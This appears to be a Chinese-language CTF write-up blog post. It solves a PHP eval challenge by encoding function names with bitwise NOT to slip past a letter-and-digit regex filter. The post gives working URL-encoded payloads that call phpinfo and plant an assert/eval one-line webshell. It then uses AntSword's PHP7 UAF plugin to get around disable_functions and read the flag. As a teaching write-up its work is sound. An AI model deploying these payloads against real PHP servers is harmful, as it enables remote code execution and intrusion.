本题知识点

  • 取反绕过正则coderce
  • php7disable_functions

打开页面得到源码

error_reporting(0);
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>40){
        die("This is too Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

正则限制了所有的字母跟数字位数限制在40位内,直接获取取反后的值

echo urlencode(~'phpinfo');

得到

%8F%97%8F%96%91%99%90

利用php7的特性去执行命令

?code=(~%8F%97%8F%96%91%99%90)();

47739-dnqp2vd62cb.png

可以看到system、exec、shell_exec等命令执行的函数都被Ban了,先构造个Shell连上看一下:

我们要取反后还得到以下结果

(assert)((eval(_POST[cmd])));

把里面assert跟后面的一句话取反即可

<?php
echo urlencode(~'assert')."\n";
$b='(eval(_POST[cmd]))';
echo urlencode(~$b)."\n";
?>

最后payload为

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

然后连接发现根目录下有flag但是没有读取权限,但是有应该readfile,那么就是通过运行readfile去获取flag

46173-rkq8xdr30c.png

但是我们现在没有办法执行命令

88985-0hr7o018mmzs.png

蚁剑有一个绕过disable_functions的插件,正好有PHP7的UAF,成功的话点击开始就会得到一个新窗口,没有成功就多尝试几次

69311-lm6cnhq1xej.png

运行得到终端,运行/readflag获得Flag:

52388-978qjxe2jf.png

Last modification:October 19, 2023
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/94.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 法律说明:
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
如果觉得我的文章对你有用,请随意赞赏,可备注留下ID方便感谢